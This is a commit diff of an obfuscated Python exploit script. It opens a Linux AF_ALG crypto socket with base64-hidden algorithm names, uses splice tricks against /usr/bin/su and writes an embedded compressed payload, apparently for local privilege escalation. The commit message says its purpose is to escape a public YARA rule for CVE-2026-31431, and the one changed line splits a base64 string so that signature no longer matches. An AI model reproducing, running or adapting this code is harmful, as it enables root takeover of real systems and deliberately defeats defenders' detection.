feat: escape created yara rules
cf. https://raw.githubusercontent.com/Neo23x0/signature-base/refs/heads/master/yara/expl_copy_fail_cve_2026_31431.yar
This commit is contained in:
+1
-1
@@ -2,7 +2,7 @@
|
|||||||
import os as g,zlib,socket as s,base64 as b
|
import os as g,zlib,socket as s,base64 as b
|
||||||
def d(x):return bytes.fromhex(x)
|
def d(x):return bytes.fromhex(x)
|
||||||
def c(f,t,c):
|
def c(f,t,c):
|
||||||
a=s.socket(38,5,0);a.bind((b.b64decode(b'YWVhZA==').decode(),b.b64decode(b'YXV0aGVuY2VzbihobWFjKHNoYTI1NiksY2JjKGFlcykp').decode()));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
|
a=s.socket(38,5,0);a.bind((b.b64decode(b'YWVhZA==').decode(),b.b64decode(b'YXV0aGVuY2VzbihobWFj').decode() + b.b64decode(b'KHNoYTI1NiksY2JjKGFlcykp').decode()));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
|
||||||
try:u.recv(8+t)
|
try:u.recv(8+t)
|
||||||
except:0
|
except:0
|
||||||
f=g.open(b.b64decode(b'L3Vzci9iaW4vc3U=').decode(),0);i=0;e=zlib.decompress(d(b.b64decode(b'NzhkYWFiNzdmNTcxNjM2MjY0NjQ4MDAxMjYwNjNiMDYxMGFmODJjMTAxY2M3NzYwYzAwNDBlMGMxNjBjMzAxZDIwOWExNTRkMTY5OTllMDdlNWMxNjgwNjAxMDg2NTc4YzBmMGZmODY0YzdlNTY4ZjVlNWI3ZTEwZjc1Yjk2NzVjNDRjN2U1NmMzZmY1OTM2MTFmY2FjZmE0OTk5NzlmYWM1MTkwYzBjMGMwMDMyYzMxMGQz').decode()))
|
f=g.open(b.b64decode(b'L3Vzci9iaW4vc3U=').decode(),0);i=0;e=zlib.decompress(d(b.b64decode(b'NzhkYWFiNzdmNTcxNjM2MjY0NjQ4MDAxMjYwNjNiMDYxMGFmODJjMTAxY2M3NzYwYzAwNDBlMGMxNjBjMzAxZDIwOWExNTRkMTY5OTllMDdlNWMxNjgwNjAxMDg2NTc4YzBmMGZmODY0YzdlNTY4ZjVlNWI3ZTEwZjc1Yjk2NzVjNDRjN2U1NmMzZmY1OTM2MTFmY2FjZmE0OTk5NzlmYWM1MTkwYzBjMGMwMDMyYzMxMGQz').decode()))
|
||||||
|
|||||||
Reference in New Issue
Block a user